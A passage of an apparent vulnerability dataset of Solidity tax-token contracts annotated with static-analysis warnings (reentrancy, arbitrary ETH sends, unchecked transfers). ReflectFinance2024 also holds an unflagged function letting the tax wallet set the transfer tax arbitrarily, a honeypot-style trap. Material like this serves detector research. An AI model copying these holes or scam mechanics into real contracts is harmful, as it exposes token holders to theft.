zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 370e554\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bd09e49\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 696b359): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 696b359: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 5cb8b93): SUZUKA6900._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 5cb8b93: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9298afa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9298afa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b10828f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b10828f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 5cb8b93\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 696b359\n\t\t\t\t// reentrancy-eth | ID: 9298afa\n\t\t\t\t// reentrancy-eth | ID: b10828f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 696b359\n\t\t\t\t\t// reentrancy-eth | ID: 9298afa\n\t\t\t\t\t// reentrancy-eth | ID: b10828f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9298afa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9298afa\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 696b359\n\t\t\t\t// reentrancy-eth | ID: b10828f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 696b359\n\t\t\t\t\t// reentrancy-eth | ID: b10828f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b10828f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 696b359\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b10828f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b10828f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 696b359\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 696b359\n\t\t// reentrancy-events | ID: bd09e49\n\t\t// reentrancy-benign | ID: 370e554\n\t\t// reentrancy-eth | ID: 9298afa\n\t\t// reentrancy-eth | ID: b10828f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9f64380): SUZUKA6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9f64380: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 696b359\n\t\t// reentrancy-events | ID: bd09e49\n\t\t// reentrancy-eth | ID: 9298afa\n\t\t// reentrancy-eth | ID: b10828f\n\t\t// arbitrary-send-eth | ID: 9f64380\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 70a7332): SUZUKA6900.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 70a7332: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 70a7332\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0666dc5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0666dc5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 57d33fb): SUZUKA6900.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 57d33fb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a6191c2): SUZUKA6900.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a6191c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 88915aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 88915aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 0666dc5\n\t\t// unused-return | ID: 57d33fb\n\t\t// reentrancy-eth | ID: 88915aa\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0666dc5\n\t\t// unused-return | ID: a6191c2\n\t\t// reentrancy-eth | ID: 88915aa\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0666dc5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 88915aa\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 0666dc5\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10198.sol",
"size_bytes": 23202,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e3a261c): ReflectFinance2024.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for e3a261c: Consider ordering multiplication before division.\ncontract ReflectFinance2024 is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8eb8fe0): ReflectFinance2024._taxWallet should be immutable \n\t// Recommendation for 8eb8fe0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06c6f85): ReflectFinance2024._initialBuyTax should be constant \n\t// Recommendation for 06c6f85: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 874b422): ReflectFinance2024._initialSellTax should be constant \n\t// Recommendation for 874b422: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a3b202): ReflectFinance2024._finalBuyTax should be constant \n\t// Recommendation for 3a3b202: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 796e441): ReflectFinance2024._finalSellTax should be constant \n\t// Recommendation for 796e441: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cfbc1e): ReflectFinance2024._reduceBuyTaxAt should be constant \n\t// Recommendation for 3cfbc1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08a7a55): ReflectFinance2024._reduceSellTaxAt should be constant \n\t// Recommendation for 08a7a55: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: d468875): ReflectFinance2024._preventSwapBefore should be constant \n\t// Recommendation for d468875: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Reflect Finance\";\n\n string private constant _symbol = unicode\"RFI\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1516127): ReflectFinance2024._taxSwapThreshold should be constant \n\t// Recommendation for 1516127: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e3a261c\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 205c619): ReflectFinance2024._maxTaxSwap should be immutable \n\t// Recommendation for 205c619: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: e3a261c\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c97cb8e): ReflectFinance2024.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c97cb8e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d6225c5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d6225c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a472f9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a472f9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d6225c5\n\t\t// reentrancy-benign | ID: a472f9b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d6225c5\n\t\t// reentrancy-benign | ID: a472f9b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 44e051f): ReflectFinance2024._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 44e051f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a472f9b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d6225c5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1fc7c64): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1fc7c64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d59e264): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d59e264: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: acd62e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for acd62e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 1fc7c64\n\t\t\t\t// reentrancy-benign | ID: d59e264\n\t\t\t\t// reentrancy-eth | ID: acd62e1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1fc7c64\n\t\t\t\t\t// reentrancy-eth | ID: acd62e1\n ssendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: acd62e1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: d59e264\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 1fc7c64\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: acd62e1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: acd62e1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1fc7c64\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTx() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function reflectStart() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function setSwapBackSetting(uint256 swapThreshold, bool enabled) external {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = enabled;\n\n taxAmount = swapThreshold;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 01697b9): ReflectFinance2024.ssendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 01697b9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function ssendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d6225c5\n\t\t// reentrancy-events | ID: 1fc7c64\n\t\t// reentrancy-eth | ID: acd62e1\n\t\t// arbitrary-send-eth | ID: 01697b9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 22bcfa3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 22bcfa3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: eb59c00): ReflectFinance2024.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for eb59c00: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 21f1f98): ReflectFinance2024.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 21f1f98: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 842764e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 842764e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 22bcfa3\n\t\t\t// reentrancy-eth | ID: 842764e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 22bcfa3\n\t\t// unused-return | ID: 21f1f98\n\t\t// reentrancy-eth | ID: 842764e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 22bcfa3\n\t\t// unused-return | ID: eb59c00\n\t\t// reentrancy-eth | ID: 842764e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 22bcfa3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 842764e\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d6225c5\n\t\t// reentrancy-events | ID: 1fc7c64\n\t\t// reentrancy-benign | ID: a472f9b\n\t\t// reentrancy-benign | ID: d59e264\n\t\t// reentrancy-eth | ID: acd62e1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ff61f8c): ReflectFinance2024.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for ff61f8c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: ff61f8c\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwapExecution(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n ssendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10199.sol",
"size_bytes": 21852,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the 